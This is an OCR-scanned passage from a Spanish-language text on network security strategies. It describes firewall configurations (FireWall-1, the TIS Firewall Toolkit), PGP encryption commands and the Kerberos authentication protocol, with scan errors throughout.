El propósito principal de un firewall es el control de acceso para o desde alguna red protegida. Implementa políticas de acceso a la red, forzando a las peticiones a pasar a través del éste para que sean analizadas y examinadas para determinar su autenticidad.

El razonamiento principal que propone la instalación de un firewall dentro de una organización, se basa en que una red conectada a Internet, sin un firewall la red está expuesta a los ataques que se pueden recibir utilizando los servicios comunes y que en forma inherente son servicios inseguros. En un sistema que carece de alguna herramienta de seguridad como lo es un firewall, la seguridad cae en todos los hosts que fonnan la red y se debe asegurar que en todos los hosts se tiene el mismo nivel de seguridad provocando que la administración de la seguridad sea un proceso engorroso y difícil, además que es poco confiable.

Un firewall provee numerosas ventajas a un site, dentro de las cuales están: (Ref{42]).

Protección de servicios vulnerables. Control de acceso al site.

93

Page 101: Estrategias para incrementar la seguridad de una red

Seguridad centralizada. Incrementar la privacidad. Reportes estadísticos de uso y mal uso de los servicios. Hacer cumplir las políticas.

Un firewall también tiene desventajas.

Restricción de acceso a servicios deseables. Un firewall no protege contra "Back doors" en el site. Poca protección desde ataques internos. El firewall no protege contra virus que el usuario baje de la red.

Un tirewall cuenta generalmente con los siguiente componentes:

Políticas de Seguridad Mecanismos avanzados de autentificación Filtración de paquetes. Hosts intennedios con aplicaciones que verifican la identidad de la conexión.

Capítulo VI

La implementación de un firewall debe comenzar por adoptar cualquiera de las siguientes frases, que son mutuamente excluyentes:

1.- Lo que no está expresamente pennitido, está prohibido. 2.- Lo que no está expresamente prohibido, está pennitido.

Estas dos frases plantean puntos de inicio diferentes, la primer frase parte de que no se tiene un conocimiento global del sistema. lo que implica cerrar todas las entradas e ir pennitiendo el acceso de manera sistemática confonne se va adquiriendo el conocimiento. La segunda plantea que se confía en todos los agentes externos y que se pennite el acceso al recurso, mientras no esté restringido o prohibido. La segunda frase se considera la menos apropiada ya que nadie puede tener un conocimiento total del sistema y no se debe basar en la confianza. El primer planteamiento es más seguro e implica un análisis de cada una de las partes que integra el sistema para lograr un conocimiento global.

U na vez entendido lo que hace y lo que no hace un firewall, hemos de tomar un par de ejemplos para profundizar más en el funcionamiento y forma de instalación del mismo.

Para fines prácticos habremos de referimos en esta parte a dos firewalls, el primero FireWall-1, que pertenece y es comercializado por Internet Security Corporation y se ejecuta en SUN SparcStations, el segundo FireWall Toolkit de Trusted lnfonnation Systems, disponible en dominio público en fonna gratuita por ftp (Ref:[54]).

FlreWall-1.

La configuracion de Firewall-1 se realiza por medio de interfaces gráficas como OpcnLook para los sistemas SunOS y proporciona las siguientes características de seguridad.

Filtración de paquetes segura. Poder agregar infonnación de contexto a conexiones sin estado. Auditoría y Alertas. Capacidad para definir y agregar nuevos protocolos y servicios. Sesiones de Telnet y FrP con autentificación. Capacidad de crear canales encriptados.

94

Page 102: Estrategias para incrementar la seguridad de una red

Capítulo VI

Antes de invertir dinero para implementar un mecanismo de éste tipo, es necesario considerar los detalles del hardware Y software con el que cuenta la organización, además de los recursos de capacitación necesarios, no es posible adquirir mecanismos y herramientas sin conocer la configuración de nuestro equipo.

Firewall-1 corre sobre las siguientes platafonnas:

Hardware: Sistemas basados en Sun Sparc. Intel que ejecute Solaris 2.4 o superior.

Sistema operativo: SunOS 4.1.3 o Solaris. Platafonna de servidor Netware.

Interfaz gráfica: X 11 R5/OpenLook. Open Windows 3

Requerimientos de Espacio en Disco: 5MB

Requerimientos de Memoria: 16MB

Interfaz de red: Interfaz estándar de estación de trabajo Sun. Soporte Access List para enrutadores CISCO ( Versión 9.1 o superior) y enrutadores Wellfleet (Ver 8.0 o superior).

Firewall- l Actúa como un enrutador seguro entre la red interna y la red ex.tema de la organización (Fig6.3). Todo el tráfico entre la red de la organización y una red ex.tema no confiable tendrá que pasar por el firewall, por lo que cada paquete intercambiado entre la red ex.tema y la red interna podrá verificarse para acatar la seguridad interna de la empresa. Firewall-1 incluye dos componentes:

1.- Módulos de filtro de paquetes. 2.- Módulos de control.

Red Externa Red Privada

[Figura 6.3 ] - Topología para Firewall -/.

El módulo de filtro de paquetes opera con independencia del módulo de control y puede colocarse como protección en servidores de Internet adicionales para proveer zonas divididas de riesgo. Si el módulo de control es instalado en otro host, la comunicación entre ambos módulos será autentificada con una contraseña de autentificación de un sólo tiempo.

Las operaciones de filtración de paquetes ejecutadas en los paquetes de entrada y salida son ejemplificadas en las figuras 6.4 y 6.5, tanto en los paquetes de entrada como en los de salida, los encabezados se verifican

95

Page 103: Estrategias para incrementar la seguridad de una red

Capítulo VI

para saber si corresponden a una regla de filtración de paquetes. En caso de que no ocurra ninguna igualación. se prueba la siguiente regla. Para los paquetes que corresponden, se puede realizar un registro o una alerta del paquete de manera optativa. Después del registro, se decide aceptar el paquete o rechazarlo, como se específica en la regla de filtro de paquetes.

La filtración de paquetes deberá ponerse a discusión con el fin de establecer políticas de seguridad para determinar los accesos autorizados y los que no son autorizados, la implementación de políticas de seguridad, da fuerza a la herramienta y ayuda como guía a la persona que va a configurar al tirewall. En las políticas de seguridad también se definen los recursos que estarán disponibles en forma pública y aquellos que serán restringidos.

Capas del modelo OSI

7 A licación 6 Presentación 5 4 3

SI

2 Enlace Física

[Figura 6.4] - Operación del filtro de paquetes de entrada. ( Ref [ 35 ]).

Capas del modelo OSI

7 A licación 6 Presentación S Sesión 4 Trans ne 3 Red

2

[Figura 6.5] - Operación del filtro de paquetes de salida. ( Ref [35]).

La lista de capacidades de la filtración de paquetes en FireWall-1 son:

Listas y Objetos.- Las redes y los servicios se representan con objetos, los cuales pueden agruparse e incluirse en listas de acceso.

96

Page 104: Estrategias para incrementar la seguridad de una red

Capítulo VI

Acceso a todos los datos.- Las reglas de filtración de paquetes pueden filtrar direcciones e infonnación de encabezados en las capas 2 a 7 del modelo OSI.

Independencia del protocolo. - Con las definiciones de alto nivel, es factible detenninar nuevos protocolos y aplicaciones, lo que hace más flexible el módulo de filtro de paquetes.

Auditoría y Alerta.- Los paquetes que coinciden con las reglas, se auditan en un registro o se emplean para generar alannas. Las alannas pueden ser programadas para ejecutar scripts que el usuario define.

Infonne del Estado.- Un resumen de la infonnación del estado del tráfico en la red en el Status System Monitor.

Módulo Kernel .- El módulo del filtro de paquetes opera dentro del kernel susceptible de tener una carga dinámica. El kernel no es dañado por las cargas generales de cambio de contexto.

Optimización.- Sirven para reducir el tiempo para procesar las reglas del filtro de paquetes. Técnicas como utilizar memoria cache y cálculo de clave se usan para unificar múltiples instancias de objetos y así tener un acceso eficaz a los datos.

Con un editor de texto, usted puede escribir las reglas de filtración de modo directo, usando el lenguaje de reglas de FireWall-1. Tal vez desee hacerlo así para controlar mejor las especificaciones. En los siguientes ejemplos se muestran algunas configuraciones.

Ej. 1.- La siguiente regla verifica los paquetes dentro de los línútes en todas las interfaces de ucs.xyz.com y acepta que cualquier host envíe correo a ucs.xyz.com.

#include "std.def' inbound [email protected] accept dst in ucs.xyz.com, smtp;

Ej. 2.- La siguiente regla verifica los paquetes dentro de los línútes en todas las interfaces de ucs.xyz.com y acepta que todos los hosts de la red realicen sesiones de ftp, telnet.

#include "std.def' inbound [email protected] accept src in local_net. dst in ucs.xyz.com, (ftp or telnet);

FireWall-1 ofrece una variedad en opciones de configuración de redes, en fonna sencilla y hace de éste una herramienta que propone un buen nivel de seguridad, utiliza rutinas de optinúzación para el desempeño y representa una buena opción para implementar la seguridad en la red. Es indispensable contar con un conjunto de políticas establecidas en el site, ya que éstas podrán ser automatizadas con el Firewall.

Firewall Toolkit.

Trusted Information Systems Firewall Toolk.it es una conjunto de programas y configuraciones prácticas, de las cuales es factible elegir la que se necesite implantar para ejecutar los servicios seguros de red que usted requiera. Firewall de TIS puede ser obtenido en fonna gratuita por FTP anónimo, (Ref.[54)) y está diseñado en lenguaje C para ser ejecutado sobre Unix usando TCP/IP con interfaz Berkeley-style socket.

Este firewall soporta varios tipos de configuraciones, éstas se pueden mencionar: "dual-homed gateway", "screened host gateway" y "screened subnet gateway". En estas configuraciones existe un factor importante que es un host (el "bastion host"), el cual actúa como un controlador de tráfico, ruteador de aplicaciones y proveedor de servicios. Mantener la seguridad del "bastion host" es de gran importancia ya que aquí se enfoca la mayoría del esfuerzo empicado.

97

Page 105: Estrategias para incrementar la seguridad de una red

Capítulo VI

En la figura 6.6 se muestra la configuración de "dual-homed gateway".

~ ~·¡~~ ~------11~nwaUHof------.--'-r----',---,-*~, Red Excerna Red Privada

[Figura 6.6] - Configuración "dual-homed gateway"

Esta configuración es fácil de implementar ya que requiere un rtúnimo de recursos en hardware, el "bastion host" es la máquina en la cual se encuentra instalado el firewall y nos va a proveer de los servicios de control de acceso, control de tráfico y ruteo de aplicaciones; en éste deben estar implantadas las políticas de seguridad de la organización y se debe instalar entre Internet en la red privada.

Si existe una petición del exterior deberá pasar por el bastion host quien la examinará, autentificará y evaluará para saber si el acceso es otorgado. El acceso es negado si la petición no cumple lo establecido en las políticas, y será permitido si es una petición válida.

En la figura 6.7 se presenta la configuración "screened host gateway".

Ba11ionbol&

'-.. Otros

[Figura 6.7] - Configuración "screened host gateway"

En esta configuración el bastion host es conectado dentro de la red privada y permite el tráfico entre el "screening router" que es el ruteador de aplicaciones y considerado como seguro, el cual se va a encargar de permitir el tráfico en forma selectiva a aquellas aplicaciones que son consideradas confiables o el tráfico que viene de redes confiables. El bastion host es similar a la configuración pasada y el tráfico finalmente permitido será sólo autorizado por este host, recuerde que es éste quien tiene la decisión sobre las políticas. La desventaja de esta configuración es que la seguridad está descentralizada. existen dos sistemas críticos, el bastion host y el ruteador. Esto introduce riesgos de administración; los cambios generados en el firewall deberán ser reflejados en el ruteador, en caso contrario existe la posibilidad de dejar un hueco abierto en el sistema.

En la configuración "screened subnet gateway" una pequeña red aislada es colocada entre la red privada y la red externa, ver figura 6.8. El acceso a esta red está protegido por reglas definidas en rutcadores, las cuales restringen el tráfico para que los hosts que componen la red aislada sean los únicos sistemas accesibles por la red interna y externa. Conceptualmente, ésta es la idea de la primera configuración utilizando una red completa. La principal utilidad de esta idea es que permite tener múltiples hosts fuera de la red privada. Una ventaja adicional es que el administrador del firewall puede configurar el ruteo de la red, sin que la red

98

Page 106: Estrategias para incrementar la seguridad de una red

Capítulo VI

externa conozca la existencia de la red privada. La desventaja principal en éste tipo de configuración es que se debe invertir más dinero que en las anteriores, no resulta barato tener un conjunto de hosts dedicados a la protección de una red.

' O tro s

Red Externa

[Figura 6.8] - Configuración "screened subnet gateway"

Una vez que ha bajado el archivo comprimido del firewall Toolkit (fwtk.tar.Z) , deberá ejecutar los comandos uncompress y tar para descomprimir dicho archivo.

uncompress fwtk. tar.Z tar -xvBf ftwtk.tar

Un conjunto grande de archivos serán descomprimidos, Edite el archivo Makefile.config para definir las rutas pennanentes de los archivos binarios y la fonna de instalación de la herramienta. Ejecute el comando make para realizar la compilación, después de éste ejecute make install para instalar la aplicación en los directorios establecidos.

Configure la herramienta en el host que servirá como firewall:

Edite los archivos del sistema como /etc/re, /etc/netstart y /etc/re.local Edite la configuración de sistema operativo y elimine servicios no deseables basados en el kernel, como NFS. Construya nuevamente el kernel. La mayoría de los componentes del Toolkit, son invocados vía inetd y todos los componentes del Toolkit que requieren información de configuración comparten un archivo de configuración común: /usr/locaUetc/netperm. Existe un manual de instalación para cada componente del Toolkit, el cual detalla paso a paso la instalación de cada uno.

Al momento de instalación del Firewall de TIS, descompacta una serie de programas que representan los componentes del Toolkit y que serán utilizados para reemplazar los existentes en el sistema anterior, tales como: telnet, ftp, tftp, login, smtp y soporte a NFS, de modo que cuando se atienda a una petición del exterior, el bastion hosts responderá a dicha petición utilizando los nuevos componentes instalados a los cuales se les se les conoce como "proxy", el programa que contesta a una petición de telnet, es llamado entonces el "proxy de telnet".

El archivo /etc/inetd.conf debe ser configurado para que el bastion host utilice los proxys que hayan sido seleccionados.

99

Page 107: Estrategias para incrementar la seguridad de una red

Capítulo VI

En la siguiente lista se muestra el contenido parcial de un archivo /etc/inetd.conf configurado para el bastion host:

<nombre del servicio> <tipo de socket> <protocolo> <banderas> <usuario> <ruta del programa servidor:> <parámetros>

ftp stream tcp nowait root /usr/bin/netacl ftpd ftp-gw stream tcp nowait root /usr/bin/ftp-gw ftp-gw telnet strearn tcp nowait root /usr/sbin/tn-gw tn-gw tn-admin stream tcp nowait root /usr/sbin/netacl telnetd login stream tcp nowait root /usr/sbin/rlogin-gw rlogin-gw finger stream tcp nowait root /usr/sbin/netacl fingerd smtp stream tcp nowait root /usr/sbin/smap smap comsat dgram udp wait root /usr/sbin/in.comsat in.comsat talk dgram udp wait root /usr/sbin/in.talkd in.talkd

inetd.conf es el archivo que invoca a los componentes que se hayan solicitado, por ejemplo en la tercer línea podemos apreciar que se ha habilitado el proxy para telnet (tn-gw).

Componentes de Firewall de 11S.

Todos los componentes son programas que están en la capa de aplicación, y reemplazan o añaden a los ya existentes en el sistema. En algunos casos se pueden obtener herramientas opcionales disponibles en forma gratuita con funcionalidad similar.

Smap: Servicio SMTP.

Este servicio es implementado utilizando un par de herramientas de software llamadas smap y smapd. Este par de programas sustituye a los del sistema.

Netacl: Para servicio de TELNET, FIN'GER, y listas de control de acceso.

Netacl es el componente que administra el control de acceso a la red, éste permite una especificación para el control de acceso basado en la dirección 1P de los clientes, y el servicio requerido. El control de acceso por UDP no es proveído por el firewall de 11S. Muchos TCP Wrappers disponibles en el dominio público soportan el control de acceso por UDP.

Ftp-gw: Proxy servidor para FTP.

Este programa está diseñado .para permitir la transferencia de archivos a través del firewall sin riesgo de comprometer la seguridad del firewall. Este servicio soporta un control de acceso basado en direcciones 1P y/o nombre del host que hace la petición además soporta un control de acceso secundario para permitir que cualquier comando ejecutado sea selectivamente bloqueado o permitido en el momento de la transmisión.

Telnet-gw: Proxy servidor para tclnet.

Este servicio fue diseñado para permitir acceso a terminales remotas a través del firewall sin riesgo de comprometer la seguridad del firewall. Este servicio soporta un control de acceso basado en direcciones 1P y/o nombre del host que hace la petición además soporta un control de acceso secundario para permitir que cualquier destino sea selectivamente bloqueado o permitido en el momento de la transmisión. una vez que el cliente ha realizado la conexión un pequeño menú le es presentado como ayuda para establecer la conexión al host remoto.

100

Page 108: Estrategias para incrementar la seguridad de una red

Capítulo VI

Rlogin-gw: Prox.y servidor para rlogin.

El programa prox.y de rlogin soporta chequeo de permisos y control de acceso de manera similar al telnet­gw.

Plug-gw: Un servidor de conexiones basado en TCP y con puerto de entrada.

Ciertos servicios como Usenet pueden ser ofrecidos por el firewall. En tales situaciones, el administrador tiene la opción de correr el servicio en el firewall o instalar un servidor prox.y para tal servicio. Instalarlo directamente en el firewall, ex.pone al sistema a los huecos que pueda tener el software de noticias. Es más seguro utilizar el prox.y y rutearlo a un lugar más seguro dentro de la red protegida.

Existen componentes opcionales que pueden ser instalados en el firewall de TIS, éstos son:

Authd: Servicio de Autentificación de red.

Provee un servicio de autentificación general para aplicaciones de red. Su uso es opcional y requiere únicamente de la instalación de los prox.ies ftp-gw y tn-gw.

Telnetd: Servicio de login remoto para el firewall.

Por razones administrativas algunas veces es deseable que el administrador del sistema tenga disponibilidad de conectarse al firewall para mantenimiento del mismo. De manera opcional el servicio telenet puede ser configurado para correr en el firewall para éste propósito. Login : Autentificación del usuario.

El Toolkit incluye un programa login llamado login-sh, para uso de autentificación de usuario. Dicho programa soporta una variedad de protocolos de autentificación como lo son: "Security Dynamic's SecurlD", Digital Pathway's Secure Net Key" y "Racal Watchword". El proxy reemplaza el shell inicial del usuario.

FTPd: Servicio de ftp anónimo.

El Toolkit permite una práctica configuración para el servicio de FTP. Tradicionalmente, ftpd permite al usuario entrar como anónimo y otorgar el acceso como huésped. En este caso el usuario es conectado y ubicado en el directorio hogar de la cuenta ftp, donde presumiblemente el acceso será controlado.

Pare verificar el control de acceso el firewall Toolkit provee de un archivo que funge como tabla de autorizaciones de acceso, este es el archivo netpcrm-table. Éste será utilizado para determinar los hosts confiables y que tienen autorización para utilizar los servicios establecidos, a continuación se explica un par de ejemplos que usan netperm-table.

Ej. l.- La siguiente regla limita el servicio de telnet a todos los hosts y únicamente lo permite al host: costarica ( 148.241.61.25).

netacl-in.telnetd : permit-hosts 148.241.61.25 -excc /usr/etc/in.telnetd

Ej. 2.- La siguiente regla permite el uso del proxy telnet a todos los hosts en la red 148.241.61.x, y envía un mensaje de bienvenida al cliente.

netacl-in.telnetd tn-gw tn-gw

permit-hosts welcomc-msg permit-hosts

148.241.61.x -exec /var/fwtk/bin/tn-gw /var/fwtk/msg/tn-welcome.txt 148.241.61.x

101

Page 109: Estrategias para incrementar la seguridad de una red

Capítulo VI

Como hemos podido ver, la implementación de un firewall ofrece ventajas de seguridad que nos pennite disminuir el riesgo en base a las listas de control de acceso y puede reducir notablemente el número de filtraciones no deseadas en una red privada. Los firewalls se plantean como un recurso más para implementación de redes seguras y no como la solución a todos los problemas de seguridad existentes en el site. Hemos de reconocer que un firewall es una buena opción, pero no es lo único que una red debe implantar para protegerse de los usuarios externos. una buena administración del firewall y un pleno conocimiento del sistema, nos pennite tener un dominio más real de la red privada, pero no nos aseguran que nunca más tenderemos un intruso merodeando por nuestra red.

Pretty Good Privacy (PGP).

Dentro de las herramientas que nos penniten enviar información cifrada por la red, podemos encontrar a PGP como una de la más importantes. PGP provee al usuario la posibilidad de firmar el mensaje y enviar cifrado el mensaje. esto comprueba que el emisor es el verdadero originador del mensaje y que no ha sido alterado por nadie, ya que sólo el emisor posee la llave secreta con la que se construyó la firma.

Las llaves públicas se guardan en "certificados de llaves" individuales que incluyen el ID (identificador) del dueño de la llave (que es el nombre de esa persona), un sello de tiempo de cuando el par de llaves fue generado. y la llave actual. Los certificados de llaves publicas contienen la llave publica, mientras que los certificados de llaves secretas contienen la llave secreta. Cada llave secreta también es encriptada con su propio password. para evitar que sea robada. Los archivos en los cuales se almacenan un conjunto de llaves públicas y secretas son conocidos como "llavero".

Estos llaveros son el método principal de almacenamiento y administración de llaves públicas y secretas, en vez de almacenar llaves individuales en archivos separados, se juntan en llaveros para facilitar la búsqueda automática ya sea por el ID de la llave o el ID del usuario. Cada usuario guarda su propio par de llaveros. Una llave pública individual se guarda temporalmente en un archivo separado el tiempo necesario para su distribución a todos los miembros de la red.

PGP utiliza "resúmenes de mensajes" para formar firmas. Un resumen de mensaje es una función hash criptográfica de una sola vía de 128 bits del mensaje. Es de alguna forma análogo a un "checksum" o a un código de inspección de errores CRC.

Cuando un documento es firmado, se le fija un certificado de la firma, el cual contiene:

El ID de la llave que se usó para firmarlo. Un resumen de mensaje firmado por una llave secreta del documento y Un sello de tiempo de cuándo la firma se realizó.

El ID de la llave es usado por el receptor para buscar la llave pública del emisor y checar la firma.

A los archivos encriptados se les antepone el ID de la llave pública utilizada. El receptor usa este prefijo para buscar la llave secreta necesaria para decriptar el ~ensaje.

PGP para DOS viene en un archivo comprimido con un archivo llamado de la siguiente manera: PGPxx.ZIP (cada versión tiene un numero diferente para las "xx" en el nombre del archivo). Por ejemplo, la versión 2.6 se llama PGP26.ZIP. El archivo se puede descomprimir con la utilería de DOS PKUNZIP.

Para instalar PGP en su sistema DOS, tiene que copiar el archivo comprimido PGPxx.ZIP en un directorio apropiado en el disco duro (como C:/PGP), y descomprimirlo con PKUNZIP.

c:\PGP>pkunzip pgp26.zip

102

Page 110: Estrategias para incrementar la seguridad de una red

Capítulo VI

Cuando se ejecuta el comando anterior, un conjunto de archivos son descomprimidos y copiados al disco duro.

El archivo README.DOC debe ser leído siempre antes de instalar PGP. Este archivo contiene lo nuevo de la versión, así como infonnación de todo lo que está incluido en otros.

Si usted tiene una versión previa de PGP, debe renombrada o borrarla, para evitar problemas de nombre con el nuevo PGP.

Instalarlo en Unix y V AX/VMS es generalmente similar a instarlo en MSDOS, sólo necesita compilar el código fuente, el makefile en Unix es distribuido dentro del archivo empacado.

Para encriptar un texto en claro con alguna llave pública teclee:

pgp -e texto userid

donde texto, es el texto en claro y userid es el identificador de usuario propietario de la llave pública.

Este comando produce un archivo encriptado llamado "texto.pgp" Veamos el siguiente ejemplo:

pgp -e documento.txt Rogelio

En éste ejemplo se busca la llave pública certificada de Rogelio en el llavero "pubring.pgp", en caso de que se encuentre el identificador se realiza el proceso de encriptamiento para el archivo "documento.txt", produciendo un archivo encriptado llamado "documento.pgp".

Para firmar un archivo de texto con la llave secreta. ejecute lo siguiente:

pgp -s archivo.txt [-u userid]

donde archivo.txt es el archivo a firmar y userid, es el identificador del dueño del archivo de texto. Recuerde que un par de corchetes ("( )"), denotan un campo opcional así que no vaya a teclear dichos caracteres.

Este comando produce un archivo firmado llamado archivo.pgp. Por ejemplo:

pgp -s documento.txt -u Ricardo

donde documento.txt es el archivo a firmar y Ricardo es el identificador de la llave secreta. de modo que el programa busca en el archivo "secring.pgp" la llave secreta certificada de Ricardo, en caso de que se encuentre el identificador, éste es utilizado para firmar el documento produciendo un archivo de firma llamado "documento.pgp".

Para firmar un archivo de texto y encriptarlo con alguna llave pública para enviarlo por correo electrónico, ejecute lo siguiente:

pgp -es archivo.txt userid_pub [-u userid_secret]

Este ejemplo produce un archivo de texto llamado archivo.pgp y automáticamente son buscados los identificadores certificados de llave secreta y pública en los archivos "llavero" correspondientes para determinar la llave a utilizar para encriptar el archivo. El archivo.txt puede tener información confidencial,

103

Page 111: Estrategias para incrementar la seguridad de una red

Capítulo VI

una vez que ya se haya firmado y encriptado el mensaje, puede ser enviado por correo, recuerde que la persona que recibirá el mensaje debe utilizar su llave secreta para poder decriptarlo.

Algunas veces es necesario encriptar información sólo por seguridad, para esto se utiliza el encriptado convencional. Por ejemplo

pgp -c examen.txt

Este ejemplo encripta el archivo de texto "examen.txt" , produciendo un archivo encriptado llamado examen.pgp, si no se utiliza ninguna llave para encriptar el archivo, se pregunta por alguna frase y utiliza ésta como llave.

Para decriptar un archivo o revisar la integridad de la firma de un archivo firmado, ejecute lo siguiente:

pgp archivo.pgp [-o archivo.txt] donde el archivo.pgp es el archivo encriptado y archivo.txt es el archivo donde vamos a obtener el archivo decriptado.

Sí no se especifica un nombre para el archivo de salida, se toma el nombre del archivo encriptado por default. Si alguna firma es detectada en el archivo encriptado, ésta es decriptada automáticamente y revisada. El identificador de usuario de la persona que ha firmado el archivo es desplegado en pantalla.

Para generar nuestra propia llave pública y secreta con cierto tamaño en específico, ejecute:

pgp -kg

PGP muestra un menú para tamaños de llave recomendados, y pregunta por el tamaño de nuestra preferencia (grado comercial bajo, grado comercial alto y grado militar), cuanto mayor sea el tamaño de llave, mayor será la seguridad, pero el precio a pagar es la rapidez para encriptar y decriptar. También se pide el identificador de usuario ("id"), se recomienda que se utilice el nombre de pila completo, pues de ésta forma disminuye el riesgo de que otra persona equivoque la llave pública a escoger para enviamos un mensaje.

PGP también pregunta por una frase para proteger la llave secreta, de ésta forma nadie puede utilizar el archivo de llaves secretas sin esta frase, la frase es como un password, con la diferencia que en ésta se puede utilizar toda una oración completa. Es importante recordar que no debe olvidar ésta frase ya que no hay forma de recuperarla, ésta frase es utilizada cada vez que se necesite la llave secreta.

El correo electrónico será dentro de poco tiempo la norma para todos y no la novedad que es hoy. Está reemplazando gradualmente el correo convencional en papel y logrando llegar a más y más organizaciones, las cuales lo utilizan para coordinar actividades dentro de la organización. Si se cuenta con una herramienta de éste tipo y se utiliza para enviar información encriptada, podremos estar un poco más tranquilos sabiendo que la información que viaja por el cable va protegida. a continuación.

Kerberos.

Los sistemas de cómputo modernos proveen scrv1c1os a múltiples usuarios y requieren identificar adecuadamente al usuario que hace la petición de acceso, los sistemas tradicionales verifican la identidad por medio del PASSWORD obtenido al entrar, dicho PASSWORD puede ser interceptado y usado subsecuentemente por otro usuario que suplanta esta identidad. Esta vulnerabilidad ha sido conocida desde hace tiempo, pero recientemente se ha incrementado la cantidad de suplantaciones.

Kerberos es un sistema de autentificación de redes inseguras, se basa en el modelo de distribución de llaves de Needham y Schroeder.

104

Page 112: Estrategias para incrementar la seguridad de una red

Capítulo VI

Kerberos permite:

• Probar la identidad de las entidades que se comunican sobre la red • Prevenir los ataques: eavsdropping y replay. • Detectar la modificación de los flujos de datos (integridad). • Prevenir la lectura no autorizada. • Una sola autentificación para probar la identidad del usuario en todos los servidores de la red

kerberizada. • La seguridad reside en los servidores de autentificación, y no en los clientes y servidores de la red. • Kerberos provee sólo de autentificación, cada servidor debe decidir por sí mismo los controles de acceso

sobre los usuarios autentificados.

Requisitos del Instituto Tecnológico de Massachusetts (MIT).

Debe ser seguro.- Un usuario no debe poder evitarlo. Debe ser confiable.- El acceso a los servicios de la red depende de ello. Debe ser transparente.- El usuario normal no debe percatarse de que está siendo autentificado. Debe ser portable.- No debe causar problemas en los sistemas en que es instalado.

El modelo continene los siguientes elementos:

• Servicio de autentificación de red con árbitro de confianza.

• KDC (Key Distribution Center)

• Encriptado con llave secreta.

• Relojes de sistema sincronizados.

Tipos de llaves en Kerberos

Llave de sesión: Conocida únicamente por Kerberos, el cliente y servidor que interactúan.

Llave privada (secreta): Conocida únicamente por Kerberos y el cliente a quien pertenece. Niveles de Protección en Kerberos

Existen 3 niveles de protección en Kerberos:

• Autentificación al inicio de la conexión.

• Autentificación de cada mensaje (safety)

• Autentificación y privacía de cada mensaje.

Componentes principales del software de Kerbcros

• Biblioteca de criptología.- La librería de criptología está basada en DES, pero es reemplazable.

• Biblioteca de base de datos.- Está en Ingrcs, pero también es reemplazable.

• Servidor de administración.- Es la interfaz de escritura-lectura sobre la base de datos de Kerbcros (KDB).

• Servidor de autentificación.- Éste servidor realiza operaciones de sólo lectura.

• Propagación de base de datos.- La propagación de bases de datos se hace para fines de autentificación, la KDB puede ser copiada en varias bases de datos.

!OS

Page 113: Estrategias para incrementar la seguridad de una red

Capítulo VI

• Programas de usuario.- Utilizados para ingresar o salir del sistema, cambio de password, etc. • Librería de aplicaciones.- Ésta nos pennite kerberizar aplicaciones.

NOTACIÓN

c ........................... cliente s ........................... servidor addr ...................... dirección del cliente life ........................ tiempo de vida del ticket tgs, TGS ............... ticket granting server Kerberos ............... servidor de autentificación KDBM ................. servidor de administración Kx ......................... llave secreta de "x" Kx,y ..................... .llave de sesión entre "x" y "y" { abe I Kx ................ abc encriptado con la llave de "x" Tx,y ....................... ticket de "x" para usar "y" Ax .......................... autentificador para "x"

Funcionamiento.

Kerberos utiliza credenciales de acceso para cada usuario que necesita conectarse a algún host remoto.

Tipos de credenciales.

El ticket: { s , c, adrr, timestamp, life, Ks, c} Ks

- Autentifica a un cliente para conectarse a un servidor. Se utiliza durante toda la sesión entre cliente y servidor. El servidor de autentificación identifica al usuario con el servidor final. Válido solo para un cliente y un servidor. Útil hasta que expire (valor en "life"). Es renovable.

El autentificador: { c, adrr, timestamp} Ks, c

Sólo puede usarse una vez. Contiene información que es comparada con el ticket para comprobar su validez.

Se usa sólo una vez. Se compara el ticket contra el autentificador para determinar si el usuario es el mismo.

Se genera uno nuevo cada vez que el cliente desea accesar un servicio.

Para poder explicar el funcionamiento de Kerberos, tomemos en cuenta el siguiente escenario:

Existe un cliente que necesita conectarse a un servidor remoto en una red kerbcrizada.

Fases:

106

Page 114: Estrategias para incrementar la seguridad de una red

Capítulo VI

Fase l. El usuario obtiene credenciales para pedir acceso a un servidor ( 1, 2, 3). Ver figura 6.9.

G){C TGS}

@ ~m-a ~:::rc11 ¡¡Jeatoria

~rcralTcm;lKms :;{leriv¡¡ ~ <El room <El usuaio(O

[ Figura 6.9] - Primer fase de autentijica~ión, en una red con Kerberos.

En el paso I el cliente envía la solicitud del ticket inicial. En el paso 3, el servidor otorga el ticket ({TC.TGSJ) y se lo envía junto con la llave de sesión, encriptado

con su llave (Kc).

Fase 2. Usuario pide autentificación para un servidor específico (4, 5, 6). Ver figura 6.10.

G) OGenera Kc.s aleatoria

G) S , { T C,TGS} KTGS , { Ac} Kc,TGS

OGenera {Tc.slKs

@ { {Tc.slKs, Kc.s }Kc.ros

[ Figura 6. JO] - Segunda fase de autentificación en una red con Kerberos.

En el paso 4, se realiza la solicitud del ticket de servidor, todo va encriptado con la llave de sesión de Cliente yTGS. En el paso 6, la llave del servidor es otorgada, el mensaje lleva la llave del servidor y la llave de sesión entre el cliente y el servidor, todo va encriptado con la llave de sesión del cliente y el TGS.

107

Page 115: Estrategias para incrementar la seguridad de una red

3. Usuario presenta credenciales al servidor final (7, 8. 9). Ver figura 6.11.

G) {AclKc.s, (Tc.slKs

G)llimeStamp + l} Kc.s

oDecripta al Tc.s y obtiene la llave Kc.s

O Decripta I Aci l<c.s oCompara Ac vs. T c.s y si son iguales dar:1 acceso al usuario

UQl <>Ambos, cliente y servidor, se han autentificado ~Cuentan ya con una llave de sesión: Kc.s

[ Figura 6. 1 J] - Tercer fase de autentificación en una red con Kerberos.

En el paso 7, se realiza la solicitud de servicio y autentificación mutua entre cliente y servidor.

Capítulo VI

En la figura 6.12 se muestran las peticiones realizadas para establecer la sesión entre cliente y servidor.

TGS

l) Solicitud de Ticket para TOS 2) Ticket para TOS 3) Solicitud de Ticket para Servidor 4) Ticket para Servidor 5) Solicitud de Servicio

[ Figura 6.1 J] - Protocolos de Autentificación..

El servidor de KDBM sólo debe correr sobre la máquina maestra de Kerberos (no en las esclavas), maneja solicitudes de los usuarios, y todo el acceso concedido o negado es almacenado en un archivo bitácora. El ticket para éste servidor es obtenido de Kerberos y no del TGS.

Desde el punto de vista del usuario, difícilmente notan que Kerberos está presente, las únicas diferencias a respetar son los nombres de los comandos, ya que éstos comienzan con la letra "k", para hacer diferencia con

108

Page 116: Estrategias para incrementar la seguridad de una red

Capítulo VI

los nombres de los comandos del sistema, ej. kpasswd, kinit, klist, etc. Todos los tickets son destruidos cuando el usuario ejecuta "logout", es decir cuando tennina la sesión.

